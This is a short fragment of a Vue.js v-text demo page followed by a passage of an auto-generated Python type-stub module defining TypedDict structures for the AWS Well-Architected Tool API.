<div>你好,{{name}}</div>
<div v-text="name">你好, </div>
<div v-text="str"> </div>
</div>
<script>
Vue.config.productionTip = false; // 关掉生产提示
new Vue({
el: "#root",
data: {
name:'cheng',
str:'<h1>你好</h1>'
}
});
</script>
</body>
</html>
|
"""
Type annotations for wellarchitected service type definitions.
[Open documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_wellarchitected/type_defs.html)
Usage::
```python
from mypy_boto3_wellarchitected.type_defs import AdditionalResourcesTypeDef
data: AdditionalResourcesTypeDef = {...}
```
"""
import sys
from datetime import datetime
from typing import Any, Dict, List
from .literals import (
AdditionalResourceTypeType,
AnswerReasonType,
CheckFailureReasonType,
CheckStatusType,
ChoiceReasonType,
ChoiceStatusType,
DifferenceStatusType,
ImportLensStatusType,
LensStatusType,
LensStatusTypeType,
LensTypeType,
NotificationTypeType,
OrganizationSharingStatusType,
PermissionTypeType,
ReportFormatType,
RiskType,
ShareInvitationActionType,
ShareResourceTypeType,
ShareStatusType,
TrustedAdvisorIntegrationStatusType,
WorkloadEnvironmentType,
WorkloadImprovementStatusType,
)
if sys.version_info >= (3, 8):
from typing import Literal
else:
from typing_extensions import Literal
if sys.version_info >= (3, 8):
from typing import TypedDict
else:
from typing_extensions import TypedDict
__all__ = (
"AdditionalResourcesTypeDef",
"AnswerSummaryTypeDef",
"AnswerTypeDef",
"AssociateLensesInputRequestTypeDef",
"BestPracticeTypeDef",
"CheckDetailTypeDef",
"CheckSummaryTypeDef",
"ChoiceAnswerSummaryTypeDef",
"ChoiceAnswerTypeDef",
"ChoiceContentTypeDef",
"ChoiceImprovementPlanTypeDef",
"ChoiceTypeDef",
"ChoiceUpdateTypeDef",
"ConsolidatedReportMetricTypeDef",
"CreateLensShareInputRequestTypeDef",
"CreateLensShareOutputTypeDef",
"CreateLensVersionInputRequestTypeDef",
"CreateLensVersionOutputTypeDef",
"CreateMilestoneInputRequestTypeDef",
"CreateMilestoneOutputTypeDef",
"CreateWorkloadInputRequestTypeDef",
"CreateWorkloadOutputTypeDef",
"CreateWorkloadShareInputRequestTypeDef",
"CreateWorkloadShareOutputTypeDef",
"DeleteLensInputRequestTypeDef",
"DeleteLensShareInputRequestTypeDef",
"DeleteWorkloadInputRequestTypeDef",
"DeleteWorkloadShareInputRequestTypeDef",
"DisassociateLensesInputRequestTypeDef",
"ExportLensInputRequestTypeDef",
"ExportLensOutputTypeDef",
"GetAnswerInputRequestTypeDef",
"GetAnswerOutputTypeDef",
"GetConsolidatedReportInputRequestTypeDef",
"GetConsolidatedReportOutputTypeDef",
"GetLensInputRequestTypeDef",
"GetLensOutputTypeDef",
"GetLensReviewInputRequestTypeDef",
"GetLensReviewOutputTypeDef",
"GetLensReviewReportInputRequestTypeDef",
"GetLensReviewReportOutputTypeDef",
"GetLensVersionDifferenceInputRequestTypeDef",
"GetLensVersionDifferenceOutputTypeDef",
"GetMilestoneInputRequestTypeDef",
"GetMilestoneOutputTypeDef",
"GetWorkloadInputRequestTypeDef",
"GetWorkloadOutputTypeDef",
"ImportLensInputRequestTypeDef",
"ImportLensOutputTypeDef",
"ImprovementSummaryTypeDef",
"LensMetricTypeDef",
"LensReviewReportTypeDef",
"LensReviewSummaryTypeDef",
"LensReviewTypeDef",
"LensShareSummaryTypeDef",
"LensSummaryTypeDef",
"LensTypeDef",
"LensUpgradeSummaryTypeDef",
"ListAnswersInputRequestTypeDef",
"ListAnswersOutputTypeDef",
"ListCheckDetailsInputRequestTypeDef",
"ListCheckDetailsOutputTypeDef",
"ListCheckSummariesInputRequestTypeDef",
"ListCheckSummariesOutputTypeDef",
"ListLensReviewImprovementsInputRequestTypeDef",
"ListLensReviewImprovementsOutputTypeDef",
"ListLensReviewsInputRequestTypeDef",
"ListLensReviewsOutputTypeDef",
"ListLensSharesInputRequestTypeDef",
"ListLensSharesOutputTypeDef",
"ListLensesInputRequestTypeDef",
"ListLensesOutputTypeDef",
"ListMilestonesInputRequestTypeDef",
"ListMilestonesOutputTypeDef",
"ListNotificationsInputRequestTypeDef",
"ListNotificationsOutputTypeDef",
"ListShareInvitationsInputRequestTypeDef",
"ListShareInvitationsOutputTypeDef",
"ListTagsForResourceInputRequestTypeDef",
"ListTagsForResourceOutputTypeDef",
"ListWorkloadSharesInputRequestTypeDef",
"ListWorkloadSharesOutputTypeDef",
"ListWorkloadsInputRequestTypeDef",
"ListWorkloadsOutputTypeDef",
"MilestoneSummaryTypeDef",
"MilestoneTypeDef",
"NotificationSummaryTypeDef",
"PillarDifferenceTypeDef",
"PillarMetricTypeDef",
"PillarReviewSummaryTypeDef",
"QuestionDifferenceTypeDef",
"QuestionMetricTypeDef",
"ResponseMetadataTypeDef",
"ShareInvitationSummaryTypeDef",
"ShareInvitationTypeDef",
"TagResourceInputRequestTypeDef",
"UntagResourceInputRequestTypeDef",
"UpdateAnswerInputRequestTypeDef",
"UpdateAnswerOutputTypeDef",
"UpdateGlobalSettingsInputRequestTypeDef",
"UpdateLensReviewInputRequestTypeDef",
"UpdateLensReviewOutputTypeDef",
"UpdateShareInvitationInputRequestTypeDef",
"UpdateShareInvitationOutputTypeDef",
"UpdateWorkloadInputRequestTypeDef",
"UpdateWorkloadOutputTypeDef",
"UpdateWorkloadShareInputRequestTypeDef",
"UpdateWorkloadShareOutputTypeDef",
"UpgradeLensReviewInputRequestTypeDef",
"VersionDifferencesTypeDef",
"WorkloadDiscoveryConfigTypeDef",
"WorkloadShareSummaryTypeDef",
"WorkloadShareTypeDef",
"WorkloadSummaryTypeDef",
"WorkloadTypeDef",
)
AdditionalResourcesTypeDef = TypedDict(
"AdditionalResourcesTypeDef",
{
"Type": AdditionalResourceTypeType,
"Content": List["ChoiceContentTypeDef"],
},
total=False,
)
AnswerSummaryTypeDef = TypedDict(
"AnswerSummaryTypeDef",
{
"QuestionId": str,
"PillarId": str,
"QuestionTitle": str,
"Choices": List["ChoiceTypeDef"],
"SelectedChoices": List[str],
"ChoiceAnswerSummaries": List["ChoiceAnswerSummaryTypeDef"],
"IsApplicable": bool,
"Risk": RiskType,
"Reason": AnswerReasonType,
},
total=False,
)
AnswerTypeDef = TypedDict(
"AnswerTypeDef",
{
"QuestionId": str,
"PillarId": str,
"QuestionTitle": str,
"QuestionDescription": str,
"ImprovementPlanUrl": str,
"HelpfulResourceUrl": str,
"HelpfulResourceDisplayText": str,
"Choices": List["ChoiceTypeDef"],
"SelectedChoices": List[str],
"ChoiceAnswers": List["ChoiceAnswerTypeDef"],
"IsApplicable": bool,
"Risk": RiskType,
"Notes": str,
"Reason": AnswerReasonType,
},
total=False,
)
AssociateLensesInputRequestTypeDef = TypedDict(
"AssociateLensesInputRequestTypeDef",
{
"WorkloadId": str,
"LensAliases": List[str],
},
)
BestPracticeTypeDef = TypedDict(
"BestPracticeTypeDef",
{
"ChoiceId": str,
"ChoiceTitle": str,
},
total=False,
)
CheckDetailTypeDef = TypedDict(
"CheckDetailTypeDef",
{
"Id": str,
"Name": str,
"Description": str,
"Provider": Literal["TRUSTED_ADVISOR"],
"LensArn": str,
"PillarId": str,
"QuestionId": str,
"ChoiceId": str,
"Status": CheckStatusType,
"AccountId": str,
"FlaggedResources": int,
"Reason": CheckFailureReasonType,
"UpdatedAt": datetime,
},
total=False,
)
CheckSummaryTypeDef = TypedDict(
"CheckSummaryTypeDef",
{
"Id": str,
"Name": str,
"Provider": Literal["TRUSTED_ADVISOR"],
"Description": str,
"UpdatedAt": datetime,
"LensArn": str,
"PillarId": str,
"QuestionId": str,
"ChoiceId": str,
"Status": CheckStatusType,
"AccountSummary": Dict[CheckStatusType, int],
},
total=False,
)
ChoiceAnswerSummaryTypeDef = TypedDict(
"ChoiceAnswerSummaryTypeDef",
{
"ChoiceId": str,
"Status": ChoiceStatusType,
"Reason": ChoiceReasonType,
},
total=False,
)
ChoiceAnswerTypeDef = TypedDict(
"ChoiceAnswerTypeDef",
{
"ChoiceId": str,
"Status": ChoiceStatusType,
"Reason": ChoiceReasonType,
"Notes": str,
},
total=False,
)
ChoiceContentTypeDef = TypedDict(
"ChoiceContentTypeDef",
{
"DisplayText": str,
"Url": str,
},
total=False,
)
ChoiceImprovementPlanTypeDef = TypedDict(
"ChoiceImprovementPlanTypeDef",
{
"ChoiceId": str,
"DisplayText": str,
"ImprovementPlanUrl": str,
},
total=False,
)
ChoiceTypeDef = TypedDict(
"ChoiceTypeDef",
{
"ChoiceId": str,
"Title": str,
"Description": str,
"HelpfulResource": "ChoiceContentTypeDef",
"ImprovementPlan": "ChoiceContentTypeDef",
"AdditionalResources": List["AdditionalResourcesTypeDef"],
},
total=False,
)
_RequiredChoiceUpdateTypeDef = TypedDict(
"_RequiredChoiceUpdateTypeDef",
{
"Status": ChoiceStatusType,
},
)
_OptionalChoiceUpdateTypeDef = TypedDict(
"_OptionalChoiceUpdateTypeDef",
{
"Reason": ChoiceReasonType,
"Notes": str,
},
total=False,
)
class ChoiceUpdateTypeDef(_RequiredChoiceUpdateTypeDef, _OptionalChoiceUpdateTypeDef):
pass
ConsolidatedReportMetricTypeDef = TypedDict(
"ConsolidatedReportMetricTypeDef",
{
"MetricType": Literal["WORKLOAD"],
"RiskCounts": Dict[RiskType, int],
"WorkloadId": str,
"WorkloadName": str,
"WorkloadArn": str,
"UpdatedAt": datetime,
"Lenses": List["LensMetricTypeDef"],
"LensesAppliedCount": int,
},
total=False,
)
CreateLensShareInputRequestTypeDef = TypedDict(
"CreateLensShareInputRequestTypeDef",
{
"LensAlias": str,
"SharedWith": str,
"ClientRequestToken": str,
},
)
CreateLensShareOutputTypeDef = TypedDict(
"CreateLensShareOutputTypeDef",
{
"ShareId": str,
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
_RequiredCreateLensVersionInputRequestTypeDef = TypedDict(
"_RequiredCreateLensVersionInputRequestTypeDef",
{
"LensAlias": str,
"LensVersion": str,
"ClientRequestToken": str,
},
)
_OptionalCreateLensVersionInputRequestTypeDef = TypedDict(
"_OptionalCreateLensVersionInputRequestTypeDef",
{
"IsMajorVersion": bool,
},
total=False,
)
class CreateLensVersionInputRequestTypeDef(
_RequiredCreateLensVersionInputRequestTypeDef, _OptionalCreateLensVersionInputRequestTypeDef
):
pass
CreateLensVersionOutputTypeDef = TypedDict(
"CreateLensVersionOutputTypeDef",
{
"LensArn": str,
"LensVersion": str,
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
CreateMilestoneInputRequestTypeDef = TypedDict(
"CreateMilestoneInputRequestTypeDef",
{
"WorkloadId": str,
"MilestoneName": str,
"ClientRequestToken": str,
},
)
CreateMilestoneOutputTypeDef = TypedDict(
"CreateMilestoneOutputTypeDef",
{
"WorkloadId": str,
"MilestoneNumber": int,
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
_RequiredCreateWorkloadInputRequestTypeDef = TypedDict(
"_RequiredCreateWorkloadInputRequestTypeDef",
{
"WorkloadName": str,
"Description": str,
"Environment": WorkloadEnvironmentType,
"Lenses": List[str],
"ClientRequestToken": str,
},
)
_OptionalCreateWorkloadInputRequestTypeDef = TypedDict(
"_OptionalCreateWorkloadInputRequestTypeDef",
{
"AccountIds": List[str],
"AwsRegions": List[str],
"NonAwsRegions": List[str],
"PillarPriorities": List[str],
"ArchitecturalDesign": str,
"ReviewOwner": str,
"IndustryType": str,
"Industry": str,
"Notes": str,
"Tags": Dict[str, str],
"DiscoveryConfig": "WorkloadDiscoveryConfigTypeDef",
"Applications": List[str],
},
total=False,
)
class CreateWorkloadInputRequestTypeDef(
_RequiredCreateWorkloadInputRequestTypeDef, _OptionalCreateWorkloadInputRequestTypeDef
):
pass
CreateWorkloadOutputTypeDef = TypedDict(
"CreateWorkloadOutputTypeDef",
{
"WorkloadId": str,
"WorkloadArn": str,
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
CreateWorkloadShareInputRequestTypeDef = TypedDict(
"CreateWorkloadShareInputRequestTypeDef",
{
"WorkloadId": str,
"SharedWith": str,
"PermissionType": PermissionTypeType,
"ClientRequestToken": str,
},
)
CreateWorkloadShareOutputTypeDef = TypedDict(
"CreateWorkloadShareOutputTypeDef",
{
"WorkloadId": str,
"ShareId": str,
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
DeleteLensInputRequestTypeDef = TypedDict(
"DeleteLensInputRequestTypeDef",
{
"LensAlias": str,
"ClientRequestToken": str,
"LensStatus": LensStatusTypeType,
},
)
DeleteLensShareInputRequestTypeDef = TypedDict(
"DeleteLensShareInputRequestTypeDef",
{
"ShareId": str,
"LensAlias": str,
"ClientRequestToken": str,
},
)
DeleteWorkloadInputRequestTypeDef = TypedDict(
"DeleteWorkloadInputRequestTypeDef",
{
"WorkloadId": str,
"ClientRequestToken": str,
},
)
DeleteWorkloadShareInputRequestTypeDef = TypedDict(
"DeleteWorkloadShareInputRequestTypeDef",
{
"ShareId": str,
"WorkloadId": str,
"ClientRequestToken": str,
},
)
DisassociateLensesInputRequestTypeDef = TypedDict(
"DisassociateLensesInputRequestTypeDef",
{
"WorkloadId": str,
"LensAliases": List[str],
},
)
_RequiredExportLensInputRequestTypeDef = TypedDict(
"_RequiredExportLensInputRequestTypeDef",
{
"LensAlias": str,
},
)
_OptionalExportLensInputRequestTypeDef = TypedDict(
"_OptionalExportLensInputRequestTypeDef",
{
"LensVersion": str,
},
total=False,
)
class ExportLensInputRequestTypeDef(
_RequiredExportLensInputRequestTypeDef, _OptionalExportLensInputRequestTypeDef
):
pass
ExportLensOutputTypeDef = TypedDict(
"ExportLensOutputTypeDef",
{
"LensJSON": str,
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
_RequiredGetAnswerInputRequestTypeDef = TypedDict(
"_RequiredGetAnswerInputRequestTypeDef",
{
"WorkloadId": str,
"LensAlias": str,
"QuestionId": str,
},
)
_OptionalGetAnswerInputRequestTypeDef = TypedDict(
"_OptionalGetAnswerInputRequestTypeDef",
{
"MilestoneNumber": int,
},
total=False,
)
class GetAnswerInputRequestTypeDef(
_RequiredGetAnswerInputRequestTypeDef, _OptionalGetAnswerInputRequestTypeDef
):
pass
GetAnswerOutputTypeDef = TypedDict(
"GetAnswerOutputTypeDef",
{
"WorkloadId": str,
"MilestoneNumber": int,
"LensAlias": str,
"LensArn": str,
"Answer": "AnswerTypeDef",
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
_RequiredGetConsolidatedReportInputRequestTypeDef = TypedDict(
"_RequiredGetConsolidatedReportInputRequestTypeDef",
{
"Format": ReportFormatType,
},
)
_OptionalGetConsolidatedReportInputRequestTypeDef = TypedDict(
"_OptionalGetConsolidatedReportInputRequestTypeDef",
{
"IncludeSharedResources": bool,
"NextToken": str,
"MaxResults": int,
},
total=False,
)
class GetConsolidatedReportInputRequestTypeDef(
_RequiredGetConsolidatedReportInputRequestTypeDef,
_OptionalGetConsolidatedReportInputRequestTypeDef,
):
pass
GetConsolidatedReportOutputTypeDef = TypedDict(
"GetConsolidatedReportOutputTypeDef",
{
"Metrics": List["ConsolidatedReportMetricTypeDef"],
"NextToken": str,
"Base64String": str,
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
_RequiredGetLensInputRequestTypeDef = TypedDict(
"_RequiredGetLensInputRequestTypeDef",
{
"LensAlias": str,
},
)
_OptionalGetLensInputRequestTypeDef = TypedDict(
"_OptionalGetLensInputRequestTypeDef",
{
"LensVersion": str,
},
total=False,
)
class GetLensInputRequestTypeDef(
_RequiredGetLensInputRequestTypeDef, _OptionalGetLensInputRequestTypeDef
):
pass
GetLensOutputTypeDef = TypedDict(
"GetLensOutputTypeDef",
{
"Lens": "LensTypeDef",
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
_RequiredGetLensReviewInputRequestTypeDef = TypedDict(
"_RequiredGetLensReviewInputRequestTypeDef",
{
"WorkloadId": str,
"LensAlias": str,
},
)
_OptionalGetLensReviewInputRequestTypeDef = TypedDict(
"_OptionalGetLensReviewInputRequestTypeDef",
{
"MilestoneNumber": int,
},
total=False,
)
class GetLensReviewInputRequestTypeDef(
_RequiredGetLensReviewInputRequestTypeDef, _OptionalGetLensReviewInputRequestTypeDef
):
pass
GetLensReviewOutputTypeDef = TypedDict(
"GetLensReviewOutputTypeDef",
{
"WorkloadId": str,
"MilestoneNumber": int,
"LensReview": "LensReviewTypeDef",
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
_RequiredGetLensReviewReportInputRequestTypeDef = TypedDict(
"_RequiredGetLensReviewReportInputRequestTypeDef",
{
"WorkloadId": str,
"LensAlias": str,
},
)
_OptionalGetLensReviewReportInputRequestTypeDef = TypedDict(
"_OptionalGetLensReviewReportInputRequestTypeDef",
{
"MilestoneNumber": int,
},
total=False,
)
class GetLensReviewReportInputRequestTypeDef(
_RequiredGetLensReviewReportInputRequestTypeDef, _OptionalGetLensReviewReportInputRequestTypeDef
):
pass
GetLensReviewReportOutputTypeDef = TypedDict(
"GetLensReviewReportOutputTypeDef",
{
"WorkloadId": str,
"MilestoneNumber": int,
"LensReviewReport": "LensReviewReportTypeDef",
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
_RequiredGetLensVersionDifferenceInputRequestTypeDef = TypedDict(
"_RequiredGetLensVersionDifferenceInputRequestTypeDef",
{
"LensAlias": str,
},
)
_OptionalGetLensVersionDifferenceInputRequestTypeDef = TypedDict(
"_OptionalGetLensVersionDifferenceInputRequestTypeDef",
{
"BaseLensVersion": str,
"TargetLensVersion": str,
},
total=False,
)
class GetLensVersionDifferenceInputRequestTypeDef(
_RequiredGetLensVersionDifferenceInputRequestTypeDef,
_OptionalGetLensVersionDifferenceInputRequestTypeDef,
):
pass
GetLensVersionDifferenceOutputTypeDef = TypedDict(
"GetLensVersionDifferenceOutputTypeDef",
{
"LensAlias": str,
"LensArn": str,
"BaseLensVersion": str,
"TargetLensVersion": str,
"LatestLensVersion": str,
"VersionDifferences": "VersionDifferencesTypeDef",
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
GetMilestoneInputRequestTypeDef = TypedDict(
"GetMilestoneInputRequestTypeDef",
{
"WorkloadId": str,
"MilestoneNumber": int,
},
)
GetMilestoneOutputTypeDef = TypedDict(
"GetMilestoneOutputTypeDef",
{
"WorkloadId": str,
"Milestone": "MilestoneTypeDef",
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
GetWorkloadInputRequestTypeDef = TypedDict(
"GetWorkloadInputRequestTypeDef",
{
"WorkloadId": str,
},
)
GetWorkloadOutputTypeDef = TypedDict(
"GetWorkloadOutputTypeDef",
{
"Workload": "WorkloadTypeDef",
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
_RequiredImportLensInputRequestTypeDef = TypedDict(
"_RequiredImportLensInputRequestTypeDef",
{
"JSONString": str,
"ClientRequestToken": str,
},
)
_OptionalImportLensInputRequestTypeDef = TypedDict(
"_OptionalImportLensInputRequestTypeDef",
{
"LensAlias": str,
"Tags": Dict[str, str],
},
total=False,
)
class ImportLensInputRequestTypeDef(
_RequiredImportLensInputRequestTypeDef, _OptionalImportLensInputRequestTypeDef
):
pass
ImportLensOutputTypeDef = TypedDict(
"ImportLensOutputTypeDef",
{
"LensArn": str,
"Status": ImportLensStatusType,
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
ImprovementSummaryTypeDef = TypedDict(
"ImprovementSummaryTypeDef",
{
"QuestionId": str,
"PillarId": str,
"QuestionTitle": str,
"Risk": RiskType,
"ImprovementPlanUrl": str,
"ImprovementPlans": List["ChoiceImprovementPlanTypeDef"],
},
total=False,
)
LensMetricTypeDef = TypedDict(
"LensMetricTypeDef",
{
"LensArn": str,
"Pillars": List["PillarMetricTypeDef"],
"RiskCounts": Dict[RiskType, int],
},
total=False,
)
LensReviewReportTypeDef = TypedDict(
"LensReviewReportTypeDef",
{
"LensAlias": str,
"LensArn": str,
"Base64String": str,
},
total=False,
)
LensReviewSummaryTypeDef = TypedDict(
"LensReviewSummaryTypeDef",
{
"LensAlias": str,
"LensArn": str,
"LensVersion": str,
"LensName": str,
"LensStatus": LensStatusType,
"UpdatedAt": datetime,
"RiskCounts": Dict[RiskType, int],
},
total=False,
)
LensReviewTypeDef = TypedDict(
"LensReviewTypeDef",
{
"LensAlias": str,
"LensArn": str,
"LensVersion": str,
"LensName": str,
"LensStatus": LensStatusType,
"PillarReviewSummaries": List["PillarReviewSummaryTypeDef"],
"UpdatedAt": datetime,
"Notes": str,
"RiskCounts": Dict[RiskType, int],
"NextToken": str,
},
total=False,
)
LensShareSummaryTypeDef = TypedDict(
"LensShareSummaryTypeDef",
{
"ShareId": str,
"SharedWith": str,
"Status": ShareStatusType,
"StatusMessage": str,
},
total=False,
)
LensSummaryTypeDef = TypedDict(
"LensSummaryTypeDef",
{
"LensArn": str,
"LensAlias": str,
"LensName": str,
"LensType": LensTypeType,
"Description": str,
"CreatedAt": datetime,
"UpdatedAt": datetime,
"LensVersion": str,
"Owner": str,
"LensStatus": LensStatusType,
},
total=False,
)
LensTypeDef = TypedDict(
"LensTypeDef",
{
"LensArn": str,
"LensVersion": str,
"Name": str,
"Description": str,
"Owner": str,
"ShareInvitationId": str,
"Tags": Dict[str, str],
},
total=False,
)
LensUpgradeSummaryTypeDef = TypedDict(
"LensUpgradeSummaryTypeDef",
{
"WorkloadId": str,
"WorkloadName": str,
"LensAlias": str,
"LensArn": str,
"CurrentLensVersion": str,
"LatestLensVersion": str,
},
total=False,
)
_RequiredListAnswersInputRequestTypeDef = TypedDict(
"_RequiredListAnswersInputRequestTypeDef",
{
"WorkloadId": str,
"LensAlias": str,
},
)
_OptionalListAnswersInputRequestTypeDef = TypedDict(
"_OptionalListAnswersInputRequestTypeDef",
{
"PillarId": str,
"MilestoneNumber": int,
"NextToken": str,
"MaxResults": int,
},
total=False,
)
class ListAnswersInputRequestTypeDef(
_RequiredListAnswersInputRequestTypeDef, _OptionalListAnswersInputRequestTypeDef
):
pass
ListAnswersOutputTypeDef = TypedDict(
"ListAnswersOutputTypeDef",
{
"WorkloadId": str,
"MilestoneNumber": int,
"LensAlias": str,
"LensArn": str,
"AnswerSummaries": List["AnswerSummaryTypeDef"],
"NextToken": str,
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
_RequiredListCheckDetailsInputRequestTypeDef = TypedDict(
"_RequiredListCheckDetailsInputRequestTypeDef",
{
"WorkloadId": str,
"LensArn": str,
"PillarId": str,
"QuestionId": str,
"ChoiceId": str,
},
)
_OptionalListCheckDetailsInputRequestTypeDef = TypedDict(
"_OptionalListCheckDetailsInputRequestTypeDef",
{
"NextToken": str,
"MaxResults": int,
},
total=False,
)
class ListCheckDetailsInputRequestTypeDef(
_RequiredListCheckDetailsInputRequestTypeDef, _OptionalListCheckDetailsInputRequestTypeDef
):
pass
ListCheckDetailsOutputTypeDef = TypedDict(
"ListCheckDetailsOutputTypeDef",
{
"CheckDetails": List["CheckDetailTypeDef"],
"NextToken": str,
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
_RequiredListCheckSummariesInputRequestTypeDef = TypedDict(
"_RequiredListCheckSummariesInputRequestTypeDef",
{
"WorkloadId": str,
"LensArn": str,
"PillarId": str,
"QuestionId": str,
"ChoiceId": str,
},
)
_OptionalListCheckSummariesInputRequestTypeDef = TypedDict(
"_OptionalListCheckSummariesInputRequestTypeDef",
{
"NextToken": str,
"MaxResults": int,
},
total=False,
)
class ListCheckSummariesInputRequestTypeDef(
_RequiredListCheckSummariesInputRequestTypeDef, _OptionalListCheckSummariesInputRequestTypeDef
):
pass
ListCheckSummariesOutputTypeDef = TypedDict(
"ListCheckSummariesOutputTypeDef",
{
"CheckSummaries": List["CheckSummaryTypeDef"],
"NextToken": str,
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
_RequiredListLensReviewImprovementsInputRequestTypeDef = TypedDict(
"_RequiredListLensReviewImprovementsInputRequestTypeDef",
{
"WorkloadId": str,
"LensAlias": str,
},
)
_OptionalListLensReviewImprovementsInputRequestTypeDef = TypedDict(
"_OptionalListLensReviewImprovementsInputRequestTypeDef",
{
"PillarId": str,
"MilestoneNumber": int,
"NextToken": str,
"MaxResults": int,
},
total=False,
)
class ListLensReviewImprovementsInputRequestTypeDef(
_RequiredListLensReviewImprovementsInputRequestTypeDef,
_OptionalListLensReviewImprovementsInputRequestTypeDef,
):
pass
ListLensReviewImprovementsOutputTypeDef = TypedDict(
"ListLensReviewImprovementsOutputTypeDef",
{
"WorkloadId": str,
"MilestoneNumber": int,
"LensAlias": str,
"LensArn": str,
"ImprovementSummaries": List["ImprovementSummaryTypeDef"],
"NextToken": str,
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
_RequiredListLensReviewsInputRequestTypeDef = TypedDict(
"_RequiredListLensReviewsInputRequestTypeDef",
{
"WorkloadId": str,
},
)
_OptionalListLensReviewsInputRequestTypeDef = TypedDict(
"_OptionalListLensReviewsInputRequestTypeDef",
{
"MilestoneNumber": int,
"NextToken": str,
"MaxResults": int,
},
total=False,
)
class ListLensReviewsInputRequestTypeDef(
_RequiredListLensReviewsInputRequestTypeDef, _OptionalListLensReviewsInputRequestTypeDef
):
pass
ListLensReviewsOutputTypeDef = TypedDict(
"ListLensReviewsOutputTypeDef",
{
"WorkloadId": str,
"MilestoneNumber": int,
"LensReviewSummaries": List["LensReviewSummaryTypeDef"],
"NextToken": str,
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
_RequiredListLensSharesInputRequestTypeDef = TypedDict(
"_RequiredListLensSharesInputRequestTypeDef",
{
"LensAlias": str,
},
)
_OptionalListLensSharesInputRequestTypeDef = TypedDict(
"_OptionalListLensSharesInputRequestTypeDef",
{
"SharedWithPrefix": str,
"NextToken": str,
"MaxResults": int,
"Status": ShareStatusType,
},
total=False,
)
class ListLensSharesInputRequestTypeDef(
_RequiredListLensSharesInputRequestTypeDef, _OptionalListLensSharesInputRequestTypeDef
):
pass
ListLensSharesOutputTypeDef = TypedDict(
"ListLensSharesOutputTypeDef",
{
"LensShareSummaries": List["LensShareSummaryTypeDef"],
"NextToken": str,
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
ListLensesInputRequestTypeDef = TypedDict(
"ListLensesInputRequestTypeDef",
{
"NextToken": str,
"MaxResults": int,
"LensType": LensTypeType,
"LensStatus": LensStatusTypeType,
"LensName": str,
},
total=False,
)
ListLensesOutputTypeDef = TypedDict(
"ListLensesOutputTypeDef",
{
"LensSummaries": List["LensSummaryTypeDef"],
"NextToken": str,
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
_RequiredListMilestonesInputRequestTypeDef = TypedDict(
"_RequiredListMilestonesInputRequestTypeDef",
{
"WorkloadId": str,
},
)
_OptionalListMilestonesInputRequestTypeDef = TypedDict(
"_OptionalListMilestonesInputRequestTypeDef",
{
"NextToken": str,
"MaxResults": int,
},
total=False,
)
class ListMilestonesInputRequestTypeDef(
_RequiredListMilestonesInputRequestTypeDef, _OptionalListMilestonesInputRequestTypeDef
):
pass
ListMilestonesOutputTypeDef = TypedDict(
"ListMilestonesOutputTypeDef",
{
"WorkloadId": str,
"MilestoneSummaries": List["MilestoneSummaryTypeDef"],
"NextToken": str,
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
ListNotificationsInputRequestTypeDef = TypedDict(
"ListNotificationsInputRequestTypeDef",
{
"WorkloadId": str,
"NextToken": str,
"MaxResults": int,
},
total=False,
)
ListNotificationsOutputTypeDef = TypedDict(
"ListNotificationsOutputTypeDef",
{
"NotificationSummaries": List["NotificationSummaryTypeDef"],
"NextToken": str,
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
ListShareInvitationsInputRequestTypeDef = TypedDict(
"ListShareInvitationsInputRequestTypeDef",
{
"WorkloadNamePrefix": str,
"LensNamePrefix": str,
"ShareResourceType": ShareResourceTypeType,
"NextToken": str,
"MaxResults": int,
},
total=False,
)
ListShareInvitationsOutputTypeDef = TypedDict(
"ListShareInvitationsOutputTypeDef",
{
"ShareInvitationSummaries": List["ShareInvitationSummaryTypeDef"],
"NextToken": str,
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
ListTagsForResourceInputRequestTypeDef = TypedDict(
"ListTagsForResourceInputRequestTypeDef",
{
"WorkloadArn": str,
},
)
ListTagsForResourceOutputTypeDef = TypedDict(
"ListTagsForResourceOutputTypeDef",
{
"Tags": Dict[str, str],
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
_RequiredListWorkloadSharesInputRequestTypeDef = TypedDict(
"_RequiredListWorkloadSharesInputRequestTypeDef",
{
"WorkloadId": str,
},
)
_OptionalListWorkloadSharesInputRequestTypeDef = TypedDict(
"_OptionalListWorkloadSharesInputRequestTypeDef",
{
"SharedWithPrefix": str,
"NextToken": str,
"MaxResults": int,
"Status": ShareStatusType,
},
total=False,
)
class ListWorkloadSharesInputRequestTypeDef(
_RequiredListWorkloadSharesInputRequestTypeDef, _OptionalListWorkloadSharesInputRequestTypeDef
):
pass
ListWorkloadSharesOutputTypeDef = TypedDict(
"ListWorkloadSharesOutputTypeDef",
{
"WorkloadId": str,
"WorkloadShareSummaries": List["WorkloadShareSummaryTypeDef"],
"NextToken": str,
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
ListWorkloadsInputRequestTypeDef = TypedDict(
"ListWorkloadsInputRequestTypeDef",
{
"WorkloadNamePrefix": str,
"NextToken": str,
"MaxResults": int,
},
total=False,
)
ListWorkloadsOutputTypeDef = TypedDict(
"ListWorkloadsOutputTypeDef",
{
"WorkloadSummaries": List["WorkloadSummaryTypeDef"],
"NextToken": str,
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
MilestoneSummaryTypeDef = TypedDict(
"MilestoneSummaryTypeDef",
{
"MilestoneNumber": int,
"MilestoneName": str,
